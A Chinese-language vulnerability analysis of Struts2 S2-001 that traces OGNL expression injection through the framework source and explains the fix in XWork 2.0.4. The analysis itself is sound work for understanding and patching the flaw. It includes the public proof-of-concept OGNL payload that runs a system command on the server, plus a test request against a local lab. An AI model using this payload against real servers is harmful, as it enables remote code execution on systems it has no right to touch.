Struts2框架: S2-001 漏洞详细分析


0x00 前言

阅读本文需要具备的知识:

  1. 熟悉J2EE开发, 主要是JSP开发
  2. 了解Struts2框架执行流程
  3. 了解Ognl表达式

如果你不具备这些知识, 阅读这篇文章将会是一场艰难的旅行.

0x01 漏洞复现

影响漏洞版本:

WebWork 2.1 (with altSyntax enabled), WebWork 2.2.0 - WebWork 2.2.5, Struts 2.0.0 - Struts 2.0.8

漏洞靶机代码: (下方通过该代码进行分析, 务必下载本地对比运行)

https://github.com/dean2021/java_security_book/tree/master/Struts2/s2_001

公布的POC:

%{#a=(new java.lang.ProcessBuilder(new
java.lang.String[]{"id"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new
java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new
char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new
java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

精简版POC:

%{1+1}

这里我们就用这个最精简的POC,靶机代码在本地运行成功后,我们发送请求:

POST /login.action HTTP/1.1
Host: localhost:8080
Content-Length: 19
Cache-Control: max-age=0
Origin: http://localhost:8080
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://localhost:8080/login.action
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,pt;q=0.7,da;q=0.6
Cookie: JSESSIONID=1478B902172E01647C8DDD6E62390FD1
Connection: close

// password=%{1+1}
password=%25%7B1%2B1%7D

HTTP响应的内容:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
HTTP/1.1 200 
Content-Type: text/html;charset=ISO-8859-1
Date: Tue, 18 Dec 2018 09:21:30 GMT
Connection: close
Content-Length: 1222

// ... 省略

<form id="login" name="login" onsubmit="return true;" action="/login.action" method="post">
  <table class="wwFormTable">
    <tr>
      <td class="tdLabel">
        <label for="login_password" class="label">password:</label></td>
      <td>
        <input type="text" name="password" value="2" id="login_password" /></td>
    </tr>
    <tr>
      <td colspan="2">
        <div align="right">
          <input type="submit" id="login_0" value="Submit" /></div>
      </td>
    </tr>
  </table>
</form>
	

注意到input的value属性值为2, 证明成功执行了我们的OGNL表达式%{1+1}, 下面我们开始详细分析。


0x02 漏洞分析

通过官网安全公告,我们大概知道问题是出在textfield自定义标签里,如下是我们的index.jsp部分代码:

1
2
3
4
5
6
<%@taglib prefix="s" uri="/struts-tags" %>

<s:form action="login">
    <s:textfield label="password" name="password"/>
    <s:submit/>
</s:form>

从代码里我们可以看得到,struts2使用了自定义标签库,也就是/struts-tags, 通过阅读 struts2-core-2.0.8.jar!/META-INF/struts-tags.tld 文件,我们得知这个textfield标签实现类是org.apache.struts2.views.jsp.ui.TextFieldTag

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
public class TextFieldTag extends AbstractUITag {
    private static final long serialVersionUID = 5811285953670562288L;
    protected String maxlength;
    protected String readonly;
    protected String size;

    public TextFieldTag() {
    }

    public Component getBean(ValueStack stack, HttpServletRequest req, HttpServletResponse res) {
        return new TextField(stack, req, res);
    }

    protected void populateParams() {
        super.populateParams();
        TextField textField = (TextField)this.component;
        textField.setMaxlength(this.maxlength);
        textField.setReadonly(this.readonly);
        textField.setSize(this.size);
    }

    /** @deprecated */
    public void setMaxLength(String maxlength) {
        this.maxlength = maxlength;
    }

    public void setMaxlength(String maxlength) {
        this.maxlength = maxlength;
    }

    public void setReadonly(String readonly) {
        this.readonly = readonly;
    }

    public void setSize(String size) {
        this.size = size;
    }
}

了解jsp自定义标签的同学应该知道,这时候我们需要找的是doStartTag方法,因为解析标签是从这个方法开始,具体可以参考[2], 通过在TextFieldTag类的ComponentTagSupport父类我们找到doStartTag方法,

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
public abstract class ComponentTagSupport extends StrutsBodyTagSupport {
    protected Component component;

    public ComponentTagSupport() {
    }

    public abstract Component getBean(ValueStack var1, HttpServletRequest var2, HttpServletResponse var3);

    public int doEndTag() throws JspException {
       
        this.component.end(this.pageContext.getOut(), this.getBody());
        this.component = null;
        return 6;
    }

    public int doStartTag() throws JspException {
        this.component = this.getBean(this.getStack(), (HttpServletRequest)this.pageContext.getRequest(), (HttpServletResponse)this.pageContext.getResponse());
        Container container = Dispatcher.getInstance().getContainer();
        container.inject(this.component);
        this.populateParams();
        boolean evalBody = this.component.start(this.pageContext.getOut());
        if (evalBody) {
            return this.component.usesBody() ? 2 : 1;
        } else {
            return 0;
        }
    }

    protected void populateParams() {
        this.component.setId(this.id);
    }

    public Component getComponent() {
        return this.component;
    }
}

通过对doStartTag方法分析,得知该方法仅是对标签的部分属性初始化,并不是漏洞成因。 所以我们继续分析,当标签结束后,调用doEndTag方法, 继续跟进

1
2
3
4
5
6
    public int doEndTag() throws JspException {
       
        this.component.end(this.pageContext.getOut(), this.getBody());
        this.component = null;
        return 6;
    }

这里的end方法是定义在UIbean类中, 跟进end方法实现

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
public abstract class UIBean extends Component {
	   public boolean end(Writer writer, String body) {

	   	// 我们跟进这个方法的实现
        this.evaluateParams();

        try {
            super.end(writer, body, false);
            this.mergeTemplate(writer, this.buildTemplateName(this.template, this.getDefaultTemplate()));
        } catch (Exception var7) {
            LOG.error("error when rendering", var7);
        } finally {
            this.popComponentStack();
        }

        return false;
    }

跟进this.evaluateParams方法的实现

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
public void evaluateParams() {
    // 省略n行代码
    if (...){
 
        // 这个password字符串是解析textfield的name属性得出, 由于代码较多,这里伪代码代替
        String name = "password"

        // 此处是由struts.tag.altSyntax来配置,该属性指定是否允许在Struts2标签中使用OGNL表达式语法
        if (this.altSyntax()) {

            // 将textfield标签的name属性进行拼装, 也就是 exp = "%{password}"
            expr = "%{" + name + "}";
        }

        // UIBaean.java 306行, 跟进this.findValue方法
        this.addParameter("nameValue", this.findValue(expr, valueClazz));
   }
   // 省略n行代码

跟进 this.findValue(this.value, valueClazz)); 函数实现:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
public class Component {


    // expr = "%{password}"

    protected Object findValue(String expr, Class toType) {
        if (this.altSyntax() && toType == String.class) {
        	// 跟进该方法
            return TextParseUtil.translateVariables('%', expr, this.stack);
        } else {
            if (this.altSyntax() && expr.startsWith("%{") && expr.endsWith("}")) {
                expr = expr.substring(2, expr.length() - 1);
            }

            return this.getStack().findValue(expr, toType);
        }
    }

跟进 TextParseUtil.translateVariables(‘%’, expr, this.stack); 实现:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
public class TextParseUtil {


    public static String translateVariables(char open, String expression, ValueStack stack) {
        return translateVariables(open, expression, stack, String.class, null).toString();
    }


    public static Object translateVariables(char open, String expression, ValueStack stack, Class asType, ParsedValueEvaluator evaluator) {
        // deal with the "pure" expressions first!
        //expression = expression.trim();
        Object result = expression;


        // 循环执行
        while (true) {

        	// expression= %{password}
        	// 这段代码就是剔除${}, 保留password
            int start = expression.indexOf(open + "{");
            int length = expression.length();
            int x = start + 2;
            int end;
            char c;
            int count = 1;
            while (start != -1 && x < length && count != 0) {
                c = expression.charAt(x++);
                if (c == '{') {
                    count++;
                } else if (c == '}') {
                    count--;
                }
            }
            end = x - 1;



            if ((start != -1) && (end != -1) && (count == 0)) {
                String var = expression.substring(start + 2, end);

                // 第一次循环时,var是 password,执行返回结果是%{1+1},
                // 第二次循环时,var是 1+1, 然后成功执行我们的恶意ognl表达式
                Object o = stack.findValue(var, asType);
                if (evaluator != null) {
                	o = evaluator.evaluate(o);
                }
                

                String left = expression.substring(0, start);
                String right = expression.substring(end + 1);
                if (o != null) {
                    if (TextUtils.stringSet(left)) {
                        result = left + o;
                    } else {
                        result = o;
                    }

                    if (TextUtils.stringSet(right)) {
                        result = result + right;
                    }
                    expression = left + o + right;
                } else {
                    // the variable doesn't exist, so don't display anything
                    result = left + right;
                    expression = left + right;
                }

            } else {
                break;
            }
        }

        return XWorkConverter.getInstance().convertValue(stack.getContext(), result, asType);
    }

如注释中所标注,最终在调用OgnlValueStack.findValue()执行了我们的Ognl表达式1+1, 对OgnlValueStack不了解的同学,可以参考[3].

好了,分析完成, 漏洞造成原因是由于递归循环,将参数值当做ognl表达式进行执行,从而造成漏洞.

0x03 漏洞细节

1. 为什么执行%{password}表达式,能拿到我们请求的参数值%{1+1}?

该参数值是在ParametersInterceptor.java文件中进行设置的,熟悉Struts2框架的同学会Interceptor应该不陌生,我们看一下这个参数拦截器的实现代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
public class ParametersInterceptor extends MethodFilterInterceptor {

 
    public String doIntercept(ActionInvocation invocation) throws Exception {

    	// 获取当前请求的action, 也就是LoginAction
        Object action = invocation.getAction();
        if (!(action instanceof NoParameters)) {

            ActionContext ac = invocation.getInvocationContext();

            // 获取当前请求的action的参数, 也就是我们的 password = %{1+1}
            final Map parameters = ac.getParameters();


            // ... 省略n行

            if (parameters != null) {
            	Map contextMap = ac.getContextMap();
                try {
         
                    // ... 省略n行

                    ValueStack stack = ac.getValueStack();

                    // 将参数丢仅stack, 跟进代码实现...
                    setParameters(action, stack, parameters);

                } finally {
                	// ... 
                }
            }
        }
        return invocation.invoke();
    }


    protected void setParameters(Object action, ValueStack stack, final Map parameters) {

        ParameterNameAware parameterNameAware = (action instanceof ParameterNameAware)
                ? (ParameterNameAware) action : null;

        Map params = null;
        if( ordered ) {
            params = new TreeMap(getOrderedComparator());
            params.putAll(parameters);
        } else {
            params = new TreeMap(parameters); 
        }
        
        for (Iterator iterator = params.entrySet().iterator(); iterator.hasNext();) {


            Map.Entry entry = (Map.Entry) iterator.next();
            String name = entry.getKey().toString();

              // ... 省略n行


            if (acceptableName) {

            	// 拿到我们的的%{1+1} 也就是我们的恶意ognl表达式
                Object value = entry.getValue();

                try {

                	// 将我们的参数存放到Ognl Stack中, 
                	// passsword=%{1+1}
                    stack.setValue(name, value);

                } catch (RuntimeException e) {
                  // ...
                }
            }
        }
    } 
}

当你发送请求时,这个拦截器会将参数名及参数值存放到Stack中, 这就是为什么执行%{password}能够拿到我们的${1+1}, 所以漏洞触发必须有的流程:

  1. struts.tag.altSyntax配置为true,默认也就是true.
  2. 能够控制请求参数,及被请求的action中能够解析请求参数,也就是定义了对应的变量及对应的setter方法,如 private String password; , 不然ParametersInterceptor拦截器里获取不到参数.
  3. 跳转的jsp页面需要有个textfield标签, 及标签name属性和参数的key对应.

2. 为什么网上总说从在说Struts2 Validation(表单验证)触发漏洞?

我们上方漏洞触发的必须流程来看,在struts2框架中配置了Validation,如果表单验证失败,必然会跳转到表单提交页面,正好符合我们流程3, 也就是表单提交页面存在textfield标签, 从而触发了漏洞。(一般登录注册处容易出现这样的场景)

0x04 总结

Strtus2框架在开启struts.tag.altSyntax的情况下, 由于Struts2框架将请求参数值当做Ognl表达式执行,从而导致任意代码执行.

0x05 修复方案分析

官方建议Struts升级至2.0.9版本或XWork升级2.0.4版本,上方我们进行分析时,已经得知问题是出在xwork框架中,所以升级xwork版本即可。

我们分析一下修复代码:

  1. struts2 2.0.8源码下载
  2. struts2 2.0.9源码下载

通过分析struts 2.0.9的源码,我们从pom.xml文件中得知,其依赖的xwork包升级为2.0.4 修复了漏洞, 如下:

1
2
3
4
5
 <dependency>
            <groupId>com.opensymphony</groupId>
            <artifactId>xwork</artifactId>
            <version>2.0.4</version>
 </dependency>

我们分析一下xwork2.0.4是怎么修复的漏洞

  1. XWork 2.0.3 源码下载

  2. XWork 2.0.4 源码下载

TIPS: jar文件解压命令: jar xvf xxx.jar

上方我们分析过程中也是TextParseUtil这个类的translateVariables方法中执行了OGNL表达式,通过代码比较,我们发现2.0.4对TextParseUtil.java文件进行了修改,下方我们看一下2.0.4的代码:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
public class TextParseUtil {

    private static final int MAX_RECURSION = 1;


    public static Object translateVariables(char open, String expression, ValueStack stack, Class asType, ParsedValueEvaluator evaluator) {


    	// 加了一个MAX_RECURSION常量
        return translateVariables(open, expression, stack, asType, evaluator, MAX_RECURSION);
    }
    
    /**
     * Converted object from variable translation.
     *
     * @param open
     * @param expression
     * @param stack
     * @param asType
     * @param evaluator
     * @return Converted object from variable translation.
     */
    public static Object translateVariables(char open, String expression, ValueStack stack, Class asType, ParsedValueEvaluator evaluator, int maxLoopCount) {
        // deal with the "pure" expressions first!
        //expression = expression.trim();
        Object result = expression;
        int loopCount = 1;
        int pos = 0;
        while (true) {


            // 此时expression= %{name}
            int start = expression.indexOf(open + "{", pos);
            if (start == -1) {
                pos = 0;
                loopCount++;
                start = expression.indexOf(open + "{");
            }

            // 增加这段代码最为关键,由于我们已知maxLoopCount=1, 第二次循环时loopCount=2,则break跳出当前循环,从而避免了恶意ognl执行
            // 其实下方注释已经写得很清楚了
            if (loopCount > maxLoopCount ) {
                // translateVariables prevent infinite loop / expression recursive evaluation
                // 译: 阻止无限循环,导致表达式递归计算
                break;
            }


            int length = expression.length();
            int x = start + 2;
            int end;
            char c;
            int count = 1;
            while (start != -1 && x < length && count != 0) {
                c = expression.charAt(x++);
                if (c == '{') {
                    count++;
                } else if (c == '}') {
                    count--;
                }
            }
            end = x - 1;

            if ((start != -1) && (end != -1) && (count == 0)) {
                String var = expression.substring(start + 2, end);

                Object o = stack.findValue(var, asType);
                if (evaluator != null) {
                	o = evaluator.evaluate(o);
                }
                

                String left = expression.substring(0, start);
                String right = expression.substring(end + 1);
                String middle = null;
                if (o != null) {
                    middle = o.toString();
                    if (!TextUtils.stringSet(left)) {
                        result = o;
                    } else {
                        result = left + middle;
                    }
    
                    if (TextUtils.stringSet(right)) {
                        result = result + right;
                    }

                    expression = left + middle + right;
                } else {
                    // the variable doesn't exist, so don't display anything
                    result = left + right;
                    expression = left + right;
                }
                pos = (left != null && left.length() > 0 ? left.length() - 1: 0) +
                      (middle != null && middle.length() > 0 ? middle.length() - 1: 0) +
                      1;
                pos = Math.max(pos, 1);
            } else {
                break;
            }
        }

        return XWorkConverter.getInstance().convertValue(stack.getContext(), result, asType);
    }

通过阅读代码,我们已经知道Struts2官方修复的方式是增加了一个MAX_RECURSION=1常量,判断循环次数,从而避免递归循环导致ognl表达式执行.

0x06 引用

  1. S2-001安全公告
  2. 自订标签库–TagSupport详解
  3. XWork框架的元素详解